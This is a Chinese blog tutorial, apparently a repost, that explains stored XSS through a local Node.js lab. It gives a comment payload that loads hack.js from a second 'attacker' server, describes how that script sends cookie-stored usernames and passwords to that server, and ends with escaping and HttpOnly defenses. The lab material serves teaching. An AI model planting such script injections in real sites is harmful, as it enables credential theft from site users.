Stored XSS攻击

XSS(Cross Site Scripting)

即跨域脚本攻击,向被攻击网站注入恶意脚本,恶意脚本获取到数据发送到另外一个域的网站上。

Stored XSS攻击

即存储式XSS攻击。

把恶意脚本存储到被攻击者的网站的数据库。

其他人访问数据库中的恶意脚本代码后,浏览器执行恶意脚本,被攻击。

存储式攻击不止一次攻击,并且被攻击的人不止一个,影响范围大。

Stored XSS攻击实例

思路

1.通过nodeJS在后端开启两个不同端口的服务,即两个不同域的站点。

2.被攻击者网站

 a:在登录时,把用户的用户名、密码信息存入cookie中

 b.有一个评论功能,用户在文本框内输入评论信息,然后提交到服务器。

3.攻击者在评论处输入<script src='hack.js'></script>,点击提交后这段脚本存入到数据库

 hack.js文件是攻击者网站的js脚本文件,用来获取用户的cookie中的用户名、密码信息,并且把用户名、密码发送到攻击者指定的网站。

4.当网站的用户访问带有评论<script src='hack.js'></script>信息时,会下载hack.js文件,并且执行,网站被攻击。

注意:若返回的是包含<script src='hack.js'></script>内容的静态html文件,此段代码会执行。

         若使用ajax获取评论信息,然后通过innerHTML方法把<script src='hack.js'></script>添加到html文件,此段代码不执行。innerHTML会把<script src='hack.js'>

         </script> 当作字符串来处理,攻击失效。

实验

文件结构

server.js为服务端,创建了两个http服务,端口分别为3000, 3100。

hackedsite为被攻击的站点,运行在3000端口中。

a.index.html为登录页。

b.为评论信息页。

c.为获取评论信息页。

hacksite为攻击的站点,运行在3100端口中。

a.hack.js为嵌入在被攻击网站的恶意脚本

b.remote.js用于协助hack.js把获取到的数据发送到hacksite站点。

过程

1.使用nodeJS搭建本地服务器,启动两个不同端口的服务,端口分别为3000,3100。

server1.listen(3000);

server2.listen(3100);

2.访问urlhttp://localhost:3000/hackedsite/index.html进入登录页面,并且输入用户名、密码

点击登录按钮后,把用户名、密码存储到cookie中,并且跳转到评论页面。

3.进入评论页面,在评论中输入<script src="http://localhost:3100/hacksite/hack.js"></script>

点击提交后,评论信息存储到数据库,并且重定向到显示评论信息页面。

4.显示评论信息页面

第三条内容为<script src="http://localhost:3100/hacksite/hack.js"></script>,被浏览器解析执行。

html为:

上面的html片段返回为静态的浏览器解析script标签,若通过ajax获取评论数据,通过innerHTML添加的,则script标签不解析执行,当作字符串来处理。

hack.js文件获取被攻击网站的cookie中存储的数据,并且发送到指定的站点。

hack.js是如何工作的

1.首先获取被攻击站点的cookie中的用户名、密码

2.借助<script>标签把获取到的用户名、密码信息发送到攻击者站点,这样,就能窃取到被攻击者的登录信息了。

sessionId

http是一种无状态的协议,为了记录一个会话周期,通过sessionId来记录会话过程。sessionId通过cookie传递到服务端,也可通过XSS攻击获取sessionId,从而使攻击者获得登陆网站的权限。

防御

(1)转义

(2)HttpOnly

如果在cookie中设置了HttpOnly属性,那么通过程序(JS脚本、Applet等)将无法读取到cookie信息,这样能有效防止XSS攻击。cookie通常在http头中传输。

cookie为字符串格式:key=value;Expires=date;Path=path;Domain=domain;Secure;HttpOnly

代码地址

原文地址:https://www.cnblogs.com/fe-huahai/p/6482672.html